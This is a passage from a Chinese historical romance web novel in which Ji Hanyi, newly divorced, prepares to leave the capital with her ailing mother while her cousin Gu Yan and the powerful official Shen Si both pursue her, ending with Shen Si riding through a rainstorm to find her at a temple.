“我早与谢玉恒说过,我不走回头路,也请你们不要再来纠缠我。”
说着季含漪再没有看谢锦一眼,直接上了马车。
马车外传来谢锦有些气急败坏的声音,但毕竟是在外头,谢锦向来是最注重脸面的,也不敢骂的声音太大,季含漪已经能想象出来谢锦脸上的表情了。
其实季含漪本意是不想与谢家撕破脸的太过,谢锦的夫君是北镇抚司的指挥使,要是她要报复自己,随便找一个由头就可能让顾府和她陷入艰难的境地。
京城这里便是如此,在强权面前,身后无人的,没有倚仗,连申冤的地方都没有。
谢锦这样的品性,有些事她可能真做的出来。
季含漪只让马车往前走,又拉住了想要探出头去做鬼脸的容春。
容春鬼脸没做出来,心里头难免不畅快,正要说话,又听季含漪的声音:“先别说话。"
容春一愣,就看到季含漪正往马车的后面看去,她忍不住问了声:“姑娘在看什么?”
季含漪声音很低:"谢锦的马车跟在后面。"
容春吓得汗**都立起来了,问道:“她跟着我们做什么?”
季含漪想着谢锦刚才的话,又道:“不管什么,不能让她知晓我们现在住在哪里。”
说着季含又叫马车往北城去,北城的街巷太多,住的大多数并不是富裕人家,那里比较好甩开人。
谢锦的马车本来在后面一直跟着,到了城北的街巷人来人往的便不好跟了。
又穿进一个拐角,谢锦就彻底跟丢了人。
谢锦没忍住气急败坏的往凳子上一踢,接着又很快平静下来,冷冷笑了下。
她夫君手下那么多锦衣卫,到处都是行事校尉,在北城找一个季含漪难不成还是什么困难的事情么。
谢锦好整以暇的理了理袖口,又慢悠悠的让马车回府去。
这头季含漪回了院子,虽说已经甩掉了谢锦,但心里头仍有些心悸。
她知晓谢锦要是让路元帮忙,那些锦衣卫无孔不入,迟早能够找到她。
不管谢锦还是谢家人到底要找她做什么,季含漪都不想让他们再来打搅自己的日子。
季含漪忍不住往旁边看了看。
要是让沈肆帮忙呢。
还是她提早离开京城,早点去蔚县。
季含漪心里头含着心事,才往母亲房里去,在外头就听到了母亲低低的咳嗽声,又听到母亲有些虚弱的声音:“我又寒了的事情别告诉含漪,我不想让她再担心了。”
季含漪伸手
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去抬帘子的手微微一顿。
里头又传来春菊担忧的声音:“夫人的身子如今比起从前更差了些该怎么办?不过是从顾府过来这里,路上稍吹了点风,夫人就又头疼咳嗽,要是往蔚县去,路上遥远,出了事该怎么办?”
顾氏低低声音传来:"我知晓含漪的心思,她想要带着我去蔚县去过好日子,去蔚县也总比留在我大嫂那里受气的好。"
“再有留在京城,也怕谢家的人再来找麻烦。”
“她样样都考虑周祥了,她如今也与从前不一样了,从前万事喜欢在我怀里撒娇,现在想要护着我,我怎么能伤她的心。”
“上回因着我就耽误了路程,这回再不能耽误了,我的身子不要紧,稍好一些就走吧。”
季含漪的手僵在半空中,眼眶微红湿润,又无声的转身。
季含漪坐在后院的廊亭里,趴在围栏上看着廊下碧绿的池水出神。
她在想她该怎么做。
怎么做才能够两全其美。
这时候的天色已经微微暗了下来,季含漪却仍旧不想动,凉风吹来也不觉得冷。
容春在旁边说,这天色阴的快了些,像是要下雨了。
早春的雨水定然多的,季含漪也只轻轻嗯了一声。
正在思绪里,又听身后一道低低的声音传来:“漪妹妹。”
季含漪一愣,转头看去,就见着顾晏正站在她身侧,低头看着她。
季含漪便问:“表哥什么时候来的?”
顾晏笑了笑:"来了一会儿了,先去看了姑母,我以为你没回来,去厨房放东西时王嬷嬷说见着了你,我就来这里看看。"
季含漪点点头,又回头看向湖面。
顾晏坐在季含漪的身边,将一封信递到季含漪手上:“你二叔送来的信。”
季含漪这才忙侧身去接了过来。
信纸展开,是二叔问她动身了没有的信,上头还关心了母亲的病,说蔚县有位有些名声的老郎中,到时候请那位郎中来为母亲看看。
信上又说二婶这些日正领着她堂嫂一起往后院里种海棠,说是她的母亲喜欢,信上还问了季含漪喜欢的菜,到时候让婶婶学着做。
季含漪想着,蔚县离京有些遥远,可能二叔还没收到她送去的信,又来了信。
季含漪看到信,眼眶有些热。
顾晏静静看着季含漪的神情,看着她白皙的眼眶开始微微泛红,伸手将一方白帕放到她手上。
顾晏低声道:“如果漪妹妹想要回蔚县,我可以与漪妹妹一起回去。”
季含漪一怔,随即惊诧的抬头看向顾晏:“晏表哥在京的前程不小,何必去蔚县,再说二舅母也不会答应的。”
顾晏视线对上季含漪的眼眸,细长的眼里满是沉稳:“这件事漪妹妹不用担心,我最近正在寻一些关系,朝廷每年三月都有恩贡,岁贡举荐,我看能不能找到门路去蔚做个佐官。”
“即便不能,我便在那里做一个教书先生也可以。”
第146章 见不得她身边有其他男子
季含漪怔怔看着顾晏说的格外认真的眼睛。
仿佛他现在与她说的一切,都是他已经深思熟虑过的。
季含漪知晓曾经的顾晏读书有多刻苦,又是国子监里每回岁考的第一,直接留在了国子监,他本是有大好前程的,何必跟着自己去蔚县。
季含漪赶紧摇头:“表哥千万别这么做,我不需要表哥陪我,我也从来没有想过再嫁的。”
“我应该一生都不会嫁人了。”
顾晏的身形微微一僵,天色暗下来,接着就是淅淅沥沥的雨急促的落下。''
顾晏脸上的神情没有变化,低声道:“漪妹妹不用觉得拖累了我,也不用觉得需要回报我什么,万事都是我心甘情愿的做。”
“这件事我也已经与我的母亲说了,母亲亦是答应了的。”
“漪妹妹在那里一辈子,我就留在那里陪着漪妹妹一辈子,即便漪妹妹一辈子不嫁,只要我还能护着一二,我就已经知足了。”
季含漪怔怔看着顾晏。
他的声音低沉又坚定,如每一个百转千回里,都有这样的一个身影。
在这一刻,季含漪心里是有动容的。
但她不喜欢顾晏,也不能与他许诺往后,也更不能毁了他的前程。
她是女子,一辈子呆在蔚县于她来说并没有什么,但对于曾有过大好前程的顾晏来说,一辈子困在那里,便并不是了。
她感动顾晏的这份心,但并不能接受。
季含漪微微坐直了身,格外认真的看向顾晏:“晏表哥,即便你这般说,但于我来说我也难以接受的。”
“我会觉得我对不住你,会害怕见你,会对你有愧疚。”
“可我不希望我与晏表哥会变成这样。”
顾晏抿了抿唇,接着又淡笑了下:“漪妹妹不用这样想,这件事是我母亲决定的。”
“我母亲感激当年姑父对我的恩情,没有姑父,我不可能进国子监,也不可能这么年轻就有官职。”
“母亲叫我护着漪妹妹,不可忘了恩情。”
季含漪更是诧异的看向顾晏,对这话是半分信任不起来。
顾晏也看出了季含漪眼里的不信,他又笑了下:“等下回漪妹妹回顾府看望祖母的时候,我母亲会与漪妹妹说的,这个决定是我母亲提出来的,祖母也知晓。”
季含漪更是震惊的瞪大眼睛。
外祖母那里她倒是勉强可以信一信,大舅母那里她是当真信不起来的,还是大舅母主动提出来的,季含漪连想都不敢想。
顾晏也没想现在就能让季含漪相信,他含笑:“我来的时候带了玉珍楼的鱼,你从前最爱吃的,我刚才让厨房的拿去热了热,这会儿正是时候。”
说着顾晏站起来看着季含漪含笑:“这会儿下雨,我们点着烛火,听着雨声,与姑母一起吃鱼。”
季含漪看着顾晏脸上的笑意,也不自觉的站起来,跟着他走。
顾晏侧头低低看着季含漪又笑道:“漪妹妹,你还记得有年中秋,你和你母亲还有父亲回来,夜里你饿了,偷偷去厨房,被我给抓到了,厨房的菜早冷了,我便叫人出去买来,我们躲在厨房的屋后,其中有道鱼,你每吃一口,都是我给你挑的刺。”
季含漪想起来了,她小时候特别贪吃,吃多了又容易肚子疼,母亲就不许她夜里多吃,她饿的难受便偷偷跑出去,想着夜里吃的冰皮绿豆糕,就想去厨房里找。
哪里想到被顾晏给逮住了。
季含漪想起小时候的事情也忍不住笑起来:“我记得等我们吃完,满院子都是找我们的人。”
“晏表哥还被大舅舅打了手。”
顾晏笑:“我父亲也是急坏了,二十个手板子,我手都肿了。”
“不过也是因祸得福,我总算不用一大早起来练字了。”
季含漪没想到顾晏竟还因这事偷了把懒,愧疚少了些,捂唇笑的眉眼弯起,笑意轻松了许多。
顾晏看着季含漪脸上的笑,想起季含漪六七岁看起来都很青涩,是个有些胖乎乎的雪团子,现在她变了,变得许多人都瞧上她。
谢家的今
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日上午来找她,似乎是又回心转意。
还有沈家的大人物。
往后再还有谁呢。
顾晏抿了抿唇,他如今希望能够与季含漪一起早点离开这里了。
他求的功名,不过也全是为了她,她若是不在,功名又有什么用。
一墙之隔的高楼上,沈肆暗沉的眼眸低低看着楼下的那幕。
看着季含漪与顾晏含笑说话,看着他们两人站得极近,衣裳都几乎贴在了一起。
顾晏来这里来去自由,季含漪对他的到来也不会觉得突兀,他们两人自然而然又轻快,而他从来都只能在旁人那里看到有些不一样的季含漪。
那对身影渐渐在眼底离去,暗青色的雨幕沉沉,将一切都冲的潮湿,甚至将两人的背影都好似连在了一起。
沈肆沉了沉眉目,看着顾晏那微微侧低着头看向季含漪的动作,缓缓的开口:“顾晏。”
他特意让人去查了顾晏,身上清白的很,在国子监的成绩也每回都是最好。
本来以他的成绩,可以先外派为官,做满个七八年回来,进六部应该不是问题,但他当时只愿意留在京城,在国子监做个博士。
这其实并不是他最好的选择。
听说顾晏最近与国子监祭酒走的亲近,还被引荐见了吏部的郎中,是想外派去地方,说是想去蔚县,即便做个末流的九品主簿都愿意。
以他的能力,的确是屈才。
但他这么做的目的,沈肆也很清楚为什么。
刚才那一幕的确刺痛了沈肆的眼睛,他与季含漪之间,从未看到她有过这般能够轻松的表露自己情绪的时候。
他已经在他面前收敛了许多神情,还是不明白为什么总是做不到让她自然的亲近自己。
还是她其实一直都在排斥着他。
沈肆深吸一口气,又看了一眼窗上倒映出来的三个人的影子,沈肆再是看不下去,转身下了楼。
他要见季含漪。
她见不得季含漪此刻与别的男人呆在一起,更何况看起来还那般高兴。
第147章 要是沈大人不嫌弃的话
桌上的菜才刚放上去,季含漪还没来的及吃一口,容春就进来与季含漪小声说沈肆来了。
季含漪一怔,实在是没想到沈肆如何这时候会来。
她忙问容春:“沈大人可说了何事?”
容春摇头,又挤眉弄眼的小声道:“沈大人这会儿还在门口等着呢。”
季含漪一愣,有些想象不出沈肆站在门外等她的样子。
想着沈肆该是来找自己的,她忙站起来,叫母亲与顾晏先吃,她先出去看看。
才走到大门口,就见着了站在门口屋廊下的沈肆。
他穿着黑衣,身形颀长,整个人看起来矜贵又冷冷清清的,高华的面容神色沉寂,那双历来有些压迫的眸子正看着她。
他几乎与雨幕连成了一幅清冷的画卷,玄衣与夜色重叠,看起来愈加尊贵。
季含漪抬头看向沈肆,声音在淅淅雨声中有些细:“沈大人是来找我么?”
沈肆看了一眼季含漪身后远处跟着出来的顾晏,顾晏站在远处没过来,他也收回视线,目光重新落在季含漪脸上。
此刻季含漪白净的脸庞上早已没有了半点笑意,带着她从前一直在他面前的拘谨小心,沈肆负着手,目光落在季含漪有些许微湿的肩膀上。
她手上拿着伞,许是飘进来的雨水,落在她领口衣襟,发丝上也散着白雾,湿漉漉的用这般清澈的眼神看着他。
他声音尽量放的平易近人,低声道:“上午送来的糕点吃了么?”
季含漪诧异沈肆来就问这个么,她忙点头:“都吃了的。”
沈肆又问:“昨天给你的药比起之前的药如何?”
“要是有用,我再叫人给你送一些来。”
才隔了一日,季含漪也不知晓到底哪个更好,况且母亲又有些风寒,怕是更不好判断了。
她轻声道:“劳烦沈大人担忧,暂还看不出来。”
沈肆鼻音里嗯了一声,却又再没开口。
他在想还要说什么,他好似也并不擅长在女子面前主动开口找出话题。
稍顿了顿,又问:“用过晚膳了么?”
季含漪便道:“快用晚膳了。”
沈肆看着季含漪:“是么?”
季含漪被沈肆这一眼看得有些压力,她点点头,又顺口问:“沈大人呢?”。
沈肆抿唇:“还未。”
季含漪愣了下,沈肆这般说,她好似应该客气的邀沈肆一起去用膳,但又想桌上就三四道小菜,还有晏表哥也在,不说沈肆定然是不喜欢吃,该是也吃不习惯的。
再有沈肆平日里用的器具,都是独一份的,他不会用旁人的东西。
她犹豫一下问:“沈大人要进来一起用晚膳么?”
季含漪也只是客气,知晓沈肆定然是不会真的进去用晚膳的。
但叫季含漪诧异的是,沈肆居然嗯了一声。
季含漪听着都觉得头皮发麻。
她缓了好一会儿才缓过了神,已经邀了又不能将话收回,只好又小声道:“饭菜有些简陋,有些怕沈大人吃不习惯。”
沈肆看了眼季含漪脸上神色,仅仅一眼,他就知晓她是不愿让他进去的,她那句话也不过是客气的话。
刚抬腿打算往内走的步子一顿。
他低头看着季含漪:“无妨,不方便就罢了,我也不过随口一说。”
季含漪听了沈肆这话,又觉得自己刚才定然说错了话。
她看着沈肆转身要的身形,想着他夜里回来还问她母亲的药,她却叫他觉得不想留他用饭,心里更是愧疚,下意识的就伸手捏住了沈肆的袖子:“沈大人……”
沈肆顿住了步子,视线扫过季含漪捏在他袖上的指尖,又低垂眼眸,无声中等着季含漪的话。
季含漪声音在夜色里很细,见着沈肆的目光,又忙松了手:“要是沈大人不嫌弃的话……”
沈肆看着季含漪,喃喃软音听得叫他心里发紧,刚才她扯他袖子的那一刹那,他再一次为她跳起急促的心跳声。
--
桌上的气氛格外的尴尬。
小小的四方桌上,正好一边坐着一个,桌上只有三道菜,安静的几乎凝固的氛围里,唯有沈肆的眉眼从容。
就连站在旁边的文安都尴尬的恨不得要抠脚。
季含漪捏着筷子,余光小小看了沈肆一眼,他身上带来的那股气场,坐在那里便觉得与这里格格不入。
或许是沈肆自小就出身显赫,身上有一股养尊处
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优的矜贵,桌上的那几道清淡小菜,与他对比起来,的确是有些一些格格不入的。
顾氏其实也没怎么见过沈肆,大抵也就见过两三次,已经是许多年前的事情了,一晃眼物是人非。
她的神色也很拘谨,桌上的菜明显并不符合沈肆平日里的膳食,便时不时小心问一句沈肆合不合胃口,还想张罗着厨房再去做菜。
沈肆虽说是客人,但坐在其中一如主家那般从容,他一句:“味道很好。”
满桌的人都不自觉的微微松了口气。
顾晏视线时不时往沈肆看去一眼,他当然知晓,如沈肆这样身份的人,如果不是为了某种目的,是不会有闲情逸致出现在这里的。
饭后,沈肆却没有立刻要走的打算,就坐在外小厅内喝茶,视线淡淡看着站在门口处说话的季含漪与顾晏。
外头的雨依旧没有停歇,冷风夹杂着丝丝雨水往檐下飘进来,将季含漪的裙摆吹得微微摆动。
她穿着立领蓝底粉花的妆花缎,身形微侧,能看见她笔直秀美的身形,亦能看清她如云乌发下清澈的眼睛。
那双眼睛对她眼前的顾晏,好似并没有爱慕。
季含漪自然感受到了沈肆看来的眼神,倍感压力,又说去送顾晏去门口。
顾晏很快的看了沈肆一眼,又点头,从廊下拿伞来为季含漪撑开,又递给了她。
季含漪自然而然的接过,与顾晏一前一后的往门口去。
季含漪来送顾晏,是为了与顾晏再单独说两句话。
因着今日的事情,谢锦既然知晓她已经搬了出来,虽不知她怎么知晓的,猜测着大抵可能她去过顾府。
为着保险起见,季含漪还是与顾晏低声将今日碰着谢锦的事情说出来。
又道:“还请表哥回去与祖母还有大舅母二舅母说一声,往后若是谢家的上门,或是想要打听我的去处,万不能说出我现在的地方。”
顾晏看季含漪的神色认真,知晓她的意思,他给她一个安心的眼神,低低道:“你放心,我不会让谢家的人知道你在哪里的。”
季含漪松了口气。
送走顾晏,季含漪才一回头,就见着沈肆撑着黑伞站在雨幕看着她。
第148章 唯她是所爱之人
外院的光线很暗,前门下的灯笼还没有照到里头。
沈肆整个人都站在暗色里,季含漪看不清沈肆脸上的表情,却莫名感受到了一股他好似并不高兴的情绪。
她亦能感受他的眼眸正看着她。
季含漪一怔,忙又撑开伞提着灯笼走到沈肆面前,琉璃灯笼光在细雨丝丝里被分割的细碎,又在脚下的青石板上映出粼粼的冷光,依旧照不清沈肆脸上的表情。
季含漪停在离沈肆两步远的位置问:“沈大人要走了么?”
沈肆看着季含漪不语。
半晌后黑眸深深看季含漪一眼,问她:“那是你表哥?”
季含漪点头:“是我二表哥。”
沈肆往季含漪的面前走了一步,灯笼柔光落在她脸上,周遭湿漉漉的雨声弥漫在两人周围。
淡淡又潮湿的幽香传入鼻端,雨声落在伞面上,沈肆目光缓缓下坠,眼里零星光线带着意味不明的晦涩,声音低沉:“你们走的有些近。”
季含漪被沈肆的这一句话说的微微一愣。
沈肆又看着季含漪:“往后夜里最好不要留男子在。”
季含漪好似微微有些明白沈肆的意思了,他是觉得她夜里留顾晏在这里一起用膳不庄重,会传出闲话么。
季含漪想了想,沈肆的话也的确有些道理的。
她毕竟在京城生活了好些年,现在她和离的事情,从前认识的估摸着许多也已经知晓,又从顾家搬了出来,晏表哥夜里过来,即便是表亲,若是被有心人看到,对两人名声的确也有些不好。
她便点头道:“往后我会注意的。”
沈肆看季含漪的眼神,像是的确在认认真真的回应他的话。
刚才因为季含漪与顾晏单独站在一起而紧绷的心弦,终于为她这一句话缓缓松懈。
沈肆凉薄俊美的眉目又寸寸变软。
看着季含漪规整的乌发被细雨冷风吹得微红,白净的小脸上眼眸乌黑,他伸手想将她揽进怀里为她挡风避雨,这一刻心间上的柔软,唯有她叫他明白什么是人间烟火。
不过是陪着所爱之人一日三餐,没有拘束,可以尽情的互诉衷肠与亲近。
或许他也可以等来那一天。
沈肆眉眼不似平常那般冷淡,高大的身体为季含漪挡了挡风,又道:“进去吧。”
季含漪听着沈肆话,犹豫的动了动,心里头想了千百回,还是有些小心的看向沈肆:“沈大人还能帮我一个忙么。”
沈肆难得看季含漪主动开口,挑眉问:“什么忙?”
季含漪抬头,说了碰见谢锦的事情,又道:“我怕谢锦让她夫君手下的锦衣卫来寻我现在住的地方。”
季含漪是不想麻烦了沈肆的,但好似这件事只有沈肆能够帮她。
沈肆低头看着季含漪眼中的担忧,给了她一个放心的神情:“你放心,路元底下的人不会找到你。”
仅仅是这一句话。
季含漪的心里便放心了下来。
她知晓,沈肆说出这句话,他便一定能帮她的。
她再次真心的感激:“沈大人,谢谢你。”
沈肆从身边离开的时候,玄衣上的袖口擦过她的指尖,季含漪跟着回头,回头看去的时候,见到的是沈肆的背影。
玄衣上的白鹤栩栩如生,在雨幕中犹如是另外一个世界的人。
又过了三四日,顾氏的身体已经越来越好转,与季含漪商量着离开的事情。
季含漪也是打算这两日就走的,也并不打算告诉顾晏她什么时候走。
春雨淅淅,从昨夜起到现在,依旧在不停的下,季含漪站在檐下,伸手接着檐下的雨水,冰冰凉凉的水珠落在掌心处,将白净的手掌都沾染的湿漉漉的。
今日一早她又收到了二叔的来信,二叔说若是她在京城不方便,便让堂兄上京来接她。
容春过来身边小声道:“姑娘,该收拾的东西都收拾好了。”
季含漪看了眼天色,天色阴沉沉的下着细雨。
她轻轻嗯了一声,又转身往母亲那里去。
此刻窗外的光线正好,季含漪对坐在罗汉榻上的另一边,光线落在中间小炕桌上。
桌上放着香炉与佛手,还有一碟顾晏带来的,未怎么吃的柿子酥。
香炉上的白烟冉冉,雅致的屋内,季含漪指尖搭身边的兰芳如意大引枕上,与母亲说明日动身的安排,也打算走的时候不告诉外祖母,等到了蔚县再说。
毕竟碰着了谢锦,季含漪也觉得早些走的的好,早断了这里的恩怨。
季含漪说完后,抬头看向母亲的神情。
她之所以想不打招呼就走,就不是不想再引起事端了,也让晏表哥知晓,她不愿他跟着一起去蔚县。
顾氏看着季含漪的眼睛,安静的眼眸里,一如那天她将和离书放到她手上时说的话,说她不后悔,说她已经安排好了后路的那股从容与稳妥。
顾氏都知晓季含漪的心思,知道季含漪是当真不愿顾晏与她们一起去蔚县,不愿拖累了顾晏。
这是季含漪的决定。
她的女儿已经长大,已经能够为她自己的事情做决定了,而她是母亲,要做的是如今再不能给女儿拖后腿。
顾氏只是看着季含漪安静娇美的面容有一些难过,明明季含漪的年岁还不算大,本应该顺顺遂遂的做一辈子的贵妇人,如今却要带着她这身子不好的人往另一个地方去相依为命。
顾氏没有再提起顾晏的事情,她
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知道季含漪已经做出了选择。
她轻轻点头:“好。”
母女两人商量着第二日就走,季含漪也说了走的急是担心不知道谢家的人还会什么时候来,早点走就少一桩事情。
季含漪现在不想再与谢家有任何牵扯了。
顾氏也赞同季含漪的看法,与谢家既然和离了,就再也不要有瓜葛和来往。
但是顾氏在临走前想要看去看看顾老太太,只是不提离开的事情。
季含漪明白母亲的心思,便又将行程定在了后日。
晚上的时候,季含漪站在庭院里往对面的阁楼望了望,那里昏暗一片,没有点灯,显然沈肆没有回来。
这些日季含漪发觉了,有时候对面的阁楼上点着灯火,隐隐约约可以看到上头一道颀长的影子,沈肆说他偶尔也会住在隔壁的,她想,那应该是沈肆。
雨依旧在淅淅的下,季含漪站在后院的廊下抬头往阁楼上看了许久,灯火也没亮起来。
她想着今夜若是沈肆在,她便好好与他道别,好好感激他对她的帮忙。
只是沈肆平日里历来忙,今日怕是见不到了。
季含漪等了许久,始终没有等到烛火燃起,这才转身往自己的屋子走。
小炕桌上还放着一幅画完的《桂菊孔雀图》,在摇曳的烛火下清晰又模糊。
这幅画是季含漪一开始就打算想要送给沈肆的画,她知晓自己始终都要离开京城,对沈肆唯一的报答,便是为他画一幅画。
菊是高洁,桂是官运亨通,孔雀是富贵荣华,希望沈肆将来仕途通达,高洁长寿,一生显赫。
季含漪本想着亲手将这一幅画交到沈肆的手上,这会儿瞧着怕是不能了。
容春这时候从外头掀帘进来说母亲已经歇下了,又说东西都已经收拾好,等明日从寺庙祈福回来,后日一大早就能直接走了。
季含漪点点头,小心的将画好的画卷好,放在一边的长盒上,又铺开一张信纸,想与沈肆说一段告别的话。
只是笔尖悬在纸上,迟迟不能落笔,季含漪对沈肆满心的感激,此刻却不知晓该写些什么。
季含漪脑中有些乱,想了想还是搁了笔。
其实也没什么可写的,或许沈肆看到这这幅画就会知晓她要走了。
季含漪将盒子放在炕桌上,这才起身去沐浴梳洗。
到了第二日的时候,季含漪先是陪着母亲回了趟顾府。
回顾府的时候,顾氏脸上倒没之前那般多愁善感了,也没叫旁人看出来是即将要走的模样,只是后来又和顾老太太在屋内说了许久的话才出来。
季含漪一直陪在母亲身边,张氏好几次想来搭话她也避着,只与二舅母刘氏说了些话。
第149章 冒雨骑马去见她
临走的时候已经过了中午,顾老太太听说季含漪和母亲还要去寺庙去祈福,也就没有劝着再多留一会儿了。
下午的时候天气晴了晴,季含漪和母亲先回了趟院子,才去的法华寺。
马车上季含漪问容春:“画送过去了么?”
容春赶紧点头:“姑娘放心,已经送去隔壁的门房了,门房的人说等沈大人一回来就送过去。”
季含漪放了心,便没有问了。
今日法华寺的人不算很多,来祈福主要是为求一路顺利,后路安稳的。
季含漪的父亲不信神佛,季含漪便也不怎么信,但今日季含漪却是很虔诚的跪拜在佛像前,叩了三拜,祈愿明日一路顺顺利利的,再不要如上回一样出了什么岔子。
又祈愿路上没有流寇土匪,安安稳稳去蔚县。
再祈愿到了蔚县,一切如之前所想,不要太艰难。
季含漪虔诚的拜完佛了之后,又陪同着母亲去找大师求了一道观音符和五雷符随身带着。
顾氏为了更诚心,想要下午留在寺庙里吃了斋饭再回去。
季含漪知晓母亲一向信奉这些,来了寺庙里,季含漪也是敬畏的,也答应下来。
只是没想到的是,吃斋饭的时候还只是丝丝细雨,吃完了斋饭,天就一下子沉了下来,下起了滂沱大雨。
这样的雨天定然是不能再赶路了,只能在寺庙里住一夜,等明日一早天亮了再赶路。
此刻沈肆此刻正从刑部出来,站在刑部大堂外,身边跟着刑部尚书和大理寺卿,为着一桩军户**案,又贿赂州府同知,府同知与卫镇抚各自有上司,如今互相攀咬,又牵扯进了卫指挥使。
锦衣卫将一干人等押带进了京城审讯,如今基本已经水落石出,都受了贿,关于最后怎么定罪,皇上要求三司会审。
大理寺卿陈大人走到沈肆身边来问关于卫指挥使的罪是不是重了,其实言外之意是这事还有商量的余地,到时候大家都不至于得罪人。
沈肆是皇亲,自然不担心,但他这个岁数了,就想要安安稳稳的荣休,也不想再惹麻烦事出来。
沈肆看了他一眼,眼中厌烦露出,即便没说话,意思也不言而喻。
陈大人一看沈肆的脸色便明白沈肆的意思,按照律法来说,官员**只要超了两百两就该治罪,但这回特殊,那卫指挥从前拥戴皇上登宝的,皇上之前还格外器重,谁又知道皇上心里到底怎么想呢。
说实话,贪了三千两也并没有太多,得过且过便是,说不定人还记自己一个恩,便托了刑部尚书王大人一起过来,说再商议商议。
沈肆已有些不耐烦,外头雨大,远处等着马车,文安凑过来身边,欲言又止的,显然是有事要说。
沈肆本就是不近人情的人面相,面容高华,又斜斜冷淡看了陈安平一眼,淡声轻嗤一声:“为官者唯利是图,上行下效,便民穷盗起。”
“陈大人,你在这位置上只图安稳,便不配在其位。”
这话说的陈安平老脸一热,顿时也不敢再言了,只能这么上报。
又听沈肆再淡淡落下一句:“之前大理寺的谢寺正,也是你提拔的?如今陈大人当真是老眼昏花了,看来的确到了该颐养天年的年纪了。”
陈安平的脸色一瞬间就僵了,还想说几句话,就见沈肆已经上了马车,显然不欲多留。
沈肆坐在马车上,身上那身公袍已经被外头的大雨染了一些湿气,他微皱眉,修长挺拔的身子稍躬身。
面前小桌上的火光映亮那张历来高华冷清的面容,长眉间还带着股疏远。
他烤了烤手,从身侧拿了卷宗翻了翻,眼皮也未抬一下,只道了个字:“说。”
冷清凉薄的声音,叫早就在外头等着传话的文安打了个激灵,又赶紧小心掀了帘子进去。
他弯着腰,忙开口:“季姑娘叫人送来了这个,说是给大人的。”
说完文安将长盒拿出来,呈到了沈肆的面前。
沈肆指尖一顿,抬了眼帘,看向文安手上的东西,又接过来打开。
打开后,一股淡淡幽香传来,是季含漪身上的味道。
沈肆垂眸将画卷展开,看到画卷上的内容时微微一顿。
分外细致的工笔,便是宫廷里的画师,也远远
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比不上。
他的目光又落在长盒上的信纸上,将画重新卷好,将信纸展开。
信纸很简短,沈肆不过几眼便看到了最后的那珍重两个字上。
烛火晃动起来,指尖微微捏紧,信纸在指尖皱进去,沈肆目光微微的凉,又看向面前的文安问:“她在哪儿?”
文安抬头就见着侯爷严肃的目光,也是吓住了,赶紧道:“季姑娘上午回了趟顾府,下午和母亲去了法华寺,因着雨大,便住在了法华寺里了。”
沈肆紧紧抿着唇,掀开帘子,看向昏昏暗暗的外头下起的滂沱大雨。
雨声喧哗,沈肆静静看着夜色。
季含漪要走了。
他清晰的知晓自己此刻在想什么。
他错过了季含漪第一次,第二次再不能错过她。
即便是强求。
即便她本是不愿的。
神情良久沉默,沈肆凤眸微斜,看向旁边的文安:“先回去。”
马车没有直接回沈府,而是回了季含漪旁边的宅院。
沈肆换了一身衣裳,目光掠过**架上旁人送来的洞庭春酒,眼神微微动了动,伸手拿了下来,又让文安去备马。
文安听了侯爷的吩咐一愣,又看了看外头这么大雨。
路上定然是泥泞不堪的,又是天黑,马车行在路上定然也不好走,可要是骑马的话……
文安心里隐隐约约也猜到侯爷的决定,却不敢耽误,连忙去备了一匹马来。
沈肆出了前门,一身清贵颀长的身形,就这么暴露在哗哗雨声中,一瞬间便将身上那身华服淋湿。
文安站在旁边担忧的看着,想要开口劝却不敢,只能让身后的护卫好好护着。
沈肆极少有骑马的时候,但此刻他翻身上马,手上捏着缰绳,看了一眼旁边季含漪院中那没有一盏灯火的庭院,心里空了空。
前些日知晓她住在这里,即便再晚回来,见着她院子里廊下的火光,心里也能暖了暖。
如今,那里漆黑一片,心也凉了。
雨水顺着沈肆脸颊往下坠,他握紧缰绳,随即在夜里的大雨滂沱中,骑马往法华寺急奔去。
第150章 含漪,嫁我为妻
法华寺里的厢房内,季含漪正穿着单衣靠在床头低头看书。
她看的是一本从寺庙内结缘请阅的《法华玄义》,季含漪只看了两页,其实没什么看下去的兴致,只是心头微慌,想让自己静下心来。
明日就要赶路,前路未知,去到另外一个她从不曾踏足过的天地,她的心里的确是有些慌乱的。
她也并不是如在母亲面前所表现的那般万事成竹在胸,万事都安排好了。
毕竟往后的路全都要靠自己,未知也是恐惧。
身边的烛火轻轻的摇曳,季含漪又看了一页,这时候已经是深夜了,万籁寂静,唯听得到窗外依旧哗哗作响的大雨。
雨声打在窗纸上,竟能奇异的叫心里静下心来。
季含漪合上书册放在床头,正打算入睡的时候,却忽然见着门口处隐隐约约站着一个人影。
那道人影颀长,在晃动的烛火中有些不真实,虚虚实实。
但季含漪的心却提了起来,寺庙中进了贼人也不是不可能的。
她目光往屋内扫过,想找一件称手的武器,正要开口问门外的人是谁的时候,那道影子却动了动,一道低低的声音冲破雨幕传来:“是我。”
那声音带着低沉的冷清,是季含漪熟悉的声音。
沈肆的声音。
季含漪的心几乎就是在这一刻忽然就松了,那股紧绷害怕的情绪缓缓落下去,身上竟晃了晃。
她长长的吐出一口气,虽不明白沈肆这时候为什么会在外头,但外头的人是沈肆,季含漪便不会担心其他。
身上只穿着白色的单衣,季含漪向来不敢在沈肆那样严正的人面前不庄重,轻轻应了一声,让沈肆先等等她,又忙去好好穿衣。
只是披散的长发已经来不及好好梳了,屋内也没有铜镜,便只用一根素簪松松挽了发,这才忙去开门。
打开门的瞬间,门外风雨交加,急促的大雨被风吹进了屋内。
但季含漪身上未被吹到雨水,尽数被站在身前的沈肆高大的身形挡了去。
凉风吹起季含漪松松挽起的发,发丝扫过她眼前,落在她唇边,她也来不及去理,只杏眸瞪大的看向面前的沈肆。
只见沈肆一身黑衣,身上尽数被雨水打湿,那历来一丝不苟的冠发湿漉漉的,俊美高华的脸上满是雨水。
此刻那双从来冷淡的黑眸,也正紧紧看在她的身上。''
季含漪只觉得心间都被这一幕震的发颤,反应过来忙问:“沈大人,你怎么了?”
沈肆静静看着此刻站在身前的季含漪,她细发轻扬,素净又娇美的人看着他,含着火光的澈澈眼里的震惊遮掩不住。
他忽想起她为他画的画,一笔一划都工整用心,他能想象出她坐在桌前,如何细致的一点点落笔,那双漂亮的眼睛都在画上,却只为两人的离别。
沈肆滚了滚喉咙,低头看着季含漪,即便这般模样,声音却平稳:“可以进去说话么?”
季含漪这才后知后觉的赶忙让了路,让沈肆进去,又将门合好,不让风雨吹进来。
寺庙里的厢房简陋,小小的一间屋子,什么也没有,即便是那张椅子,沈肆那高大的身躯坐在上头也吱呀作响。
往下滴落的湿痕从门口蔓延到沈肆的脚下,他黑色衣摆处依旧在滴着水。
